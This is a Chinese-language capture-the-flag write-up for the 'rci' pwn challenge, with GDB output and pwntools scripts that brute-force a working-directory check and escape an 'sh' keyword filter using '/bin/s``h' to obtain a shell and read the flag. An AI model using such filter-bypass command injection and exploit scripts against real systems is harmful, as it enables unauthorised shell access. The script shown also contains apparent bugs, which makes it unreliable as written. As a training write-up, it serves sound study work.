题目提供ELF文件一个,
@ubuntu:~/Desktop/rci$ ./rci
正在送imagin去小黑窝~
Level Up ! 获得道具 ls
ls
[你得到了一些关于imagin的线索]
不过......Ta在哪里呢?
ls
你没有找到imagin,灰头土脸的离开了
主函数
init函数
分析源码所得,先执行init()函数,第一次的输入符合check1的要求后会执行系统命令,
check1在输入' ','-','/'以及字母以外的字符,会跳过system执行,无法获取权限。
执行完命令后回到main函数,到第二次输入,在比较第二次输入与该文件执行目录完全匹配后(getcwd())才能继续执行。
由于本程序直接调用system()函数,会终端调试,影响分析,需要在源程序基础上做改动。
用winhex打开程序,在函数表内找到system函数,将system替换成不影响调试的printf()函数(因为他们的第一个参数都是str型,不会影响函数执行)。、
修改前
修改后
另存为文件后,动态分析。
在[debug]中发现很多R0OM#(数字)在开始时发出
[DEBUG] Received 0x611 bytes:
00000000 1b 5b 30 31 3b 33 31 6d e6 ad a3 e5 9c a8 e9 80 │·[01│;31m│····│····│
00000010 81 69 6d 61 67 69 6e e5 8e bb e5 b0 8f e9 bb 91 │·ima│gin·│····│····│
00000020 e7 aa 9d 7e 1b 5b 30 31 3b 33 32 6d 0a 52 30 4f │···~│·[01│;32m│·R0O│
00000030 4d 23 31 35 35 30 30 36 38 36 30 32 08 08 08 08 │M#15│5006│8602│····│
00000040 08 08 08 08 08 08 08 08 08 08 08 52 30 4f 4d 23 │····│····│···R│0OM#│
00000050 30 32 30 32 33 37 39 34 30 31 08 08 08 08 08 08 │0202│3794│01··│····│
00000060 08 08 08 08 08 08 08 08 08 52 30 4f 4d 23 32 31 │····│····│·R0O│M#21│
00000070 34 35 31 37 32 37 30 35 08 08 08 08 08 08 08 08 │4517│2705│····│····│
00000080 08 08 08 08 08 08 08 52 30 4f 4d 23 30 36 34 35 │····│···R│0OM#│0645│
00000090 32 36 31 35 39 33 08 08 08 08 08 08 08 08 08 08 │2615│93··│····│····│
000000a0 08 08 08 08 08 52 30 4f 4d 23 30 36 34 31 36 33 │····│·R0O│M#06│4163│
000000b0 30 35 37 30 08 08 08 08 08 08 08 08 08 08 08 08 │0570│····│····│····│
000000c0 08 08 08 52 30 4f 4d 23 30 30 39 31 38 33 36 37 │···R│0OM#│0091│8367│
000000d0 35 37 08 08 08 08 08 08 08 08 08 08 08 08 08 08 │57··│····│····│····│
000000e0 08 52 30 4f 4d 23 32 31 33 38 31 32 35 32 33 30 │·R0O│M#21│3812│5230│
000000f0 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 52 │····│····│····│···R│
00000100 30 4f 4d 23 32 37 35 37 34 39 32 38 30 30 08 08 │0OM#│2757│4928│00··│
00000110 08 08 08 08 08 08 08 08 08 08 08 08 08 52 30 4f │····│····│····│·R0O│
00000120 4d 23 31 38 37 34 36 30 39 37 39 32 08 08 08 08 │M#18│7460│9792│····│
00000130 08 08 08 08 08 08 08 08 08 08 08 52 30 4f 4d 23 │····│····│···R│0OM#│
00000140 30 38 35 32 33 35 37 30 34 38 08 08 08 08 08 08 │0852│3570│48··│····│
00000150 08 08 08 08 08 08 08 08 08 52 30 4f 4d 23 30 38 │····│····│·R0O│M#08│
00000160 38 37 30 35 34 31 32 39 08 08 08 08 08 08 08 08 │8705│4129│····│····│
00000170 08 08 08 08 08 08 08 52 30 4f 4d 23 32 36 31 35 │····│···R│0OM#│2615│
00000180 36 36 30 30 32 32 08 08 08 08 08 08 08 08 08 08 │6600│22··│····│····│
00000190 08 08 08 08 08 52 30 4f 4d 23 34 30 37 35 38 39 │····│·R0O│M#40│7589│
000001a0 32 34 32 34 08 08 08 08 08 08 08 08 08 08 08 08 │2424│····│····│····│
000001b0 08 08 08 52 30 4f 4d 23 31 39 37 38 35 31 34 33 │···R│0OM#│1978│5143│
000001c0 35 36 08 08 08 08 08 08 08 08 08 08 08 08 08 08 │56··│····│····│····│
000001d0 08 52 30 4f 4d 23 34 31 38 36 38 34 37 33 34 38 │·R0O│M#41│8684│7348│
000001e0 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 52 │····│····│····│···R│
000001f0 30 4f 4d 23 32 37 32 32 31 34 34 37 37 37 08 08 │0OM#│2722│1447│77··│
在0x18e9处下断点。
结果如下
[----------------------------------registers-----------------------------------]
RAX: 0x7ffe84cf2150 --> 0x0
RBX: 0x0
RCX: 0x7fea2613f2c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7fea2640e780 --> 0x0
RSI: 0x50 ('P')
RDI: 0x1
RBP: 0x7ffe84cf21b0 --> 0x55a42d3e19c0 (push r15)
RSP: 0x7ffe84cf20c0 --> 0x7ffe84cf2298 --> 0x7ffe84cf32e0 ("./rcigai")
RIP: 0x55a42d3e18e9 (mov rdi,rax)
R8 : 0x7fea2661c700 (0x00007fea2661c700)
R9 : 0x7fea2661c700 (0x00007fea2661c700)
R10: 0x0
R11: 0x246
R12: 0x55a42d3e1170 (xor ebp,ebp)
R13: 0x7ffe84cf2290 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55a42d3e18db: call 0x55a42d3e1050
0x55a42d3e18e0: lea rax,[rbp-0x60]
0x55a42d3e18e4: mov esi,0x50
=> 0x55a42d3e18e9: mov rdi,rax
0x55a42d3e18ec: call 0x55a42d3e14a5
0x55a42d3e18f1: lea rdx,[rbp-0xb0]
0x55a42d3e18f8: lea rax,[rbp-0x60]
0x55a42d3e18fc: mov rsi,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffe84cf20c0 --> 0x7ffe84cf2298 --> 0x7ffe84cf32e0 ("./rcigai")
0008| 0x7ffe84cf20c8 --> 0x1261d4627
0016| 0x7ffe84cf20d0 --> 0xffffffff
0024| 0x7ffe84cf20d8 --> 0x626639718
0032| 0x7ffe84cf20e0 --> 0x0
0040| 0x7ffe84cf20e8 --> 0x0
0048| 0x7ffe84cf20f0 --> 0x0
0056| 0x7ffe84cf20f8 --> 0x0
[------------------------------------------------------------------------------]
$rbp-0xb0内的值
gdb-peda$ x/16s $rbp-0xb0
0x7ffe84cf2100: "/tmp/R0OM#11683"...
0x7ffe84cf210f: "80294"
发现,对比的内容是当前程序执行的位置,而且和之前的‘R0OM#’有关系。
收集R0OM#,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
def getroom(r):
r.recvuntil('R0OM')
num = r.recv(11)
return 'R0OM'+num
local = 1
if local == 1:
r=process('./rcigai')
#gdb.attach(r,'vmmap')
else:
r=remote('node3.buuoj.cn',25067)
for i in range(60):
print getroom(r)
print i
在47处停下,总共为47个。
随机选择一个R0OM#,去碰撞,如果失败,重新执行(略大于2%的几率,比明日方舟出六星的几率略高)
脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
def getroom(r):
r.recvuntil('R0OM')
num = r.recv(11)
return 'R0OM'+num
local = 1
if local == 1:
r=process('./rcigai')
#gdb.attach(r,'vmmap')
else:
r=remote('node3.buuoj.cn',25067)
for i in range(47):
room = getroom(r)
print getroom(r)
if i == 4:
x = room
r.recvuntil('ls')
r.sendline('ls /')
r.recvuntil('Ta')
r.sendline('/tmp/'+'x')
r.interactive()
碰撞成功后出现以下画面。
成功后程序继续运行,开始第三次输入,符合check2的要求后会执行系统命令,check2的要求很低,很好绕过。
利用拼接符成功绕过sh过滤获取shell。
/bin/s``h
Level Up ! 获得道具 残缺的shell
$ /bin/s``h
你成功地修复了shell,快
$ cd /
$ ls
bin
dev
imagin
lib
lib32
lib64
libx32
rci
tmp
flag在imagin文件内。
$ cat imagin
flag{b97e9e07-6338-49f8-af28-b4a80afd69c8}
最后,说一下这个题有些漏洞,有些时候执行时,getcwd()函数会坏掉,导致第二次输入什么都不用输就能到第三次输入。出现在当时试运行期间,由于当时未对程序审查,不了解程序构造,错失良机,肠子都悔青了。
全部评论 (共 2 条评论)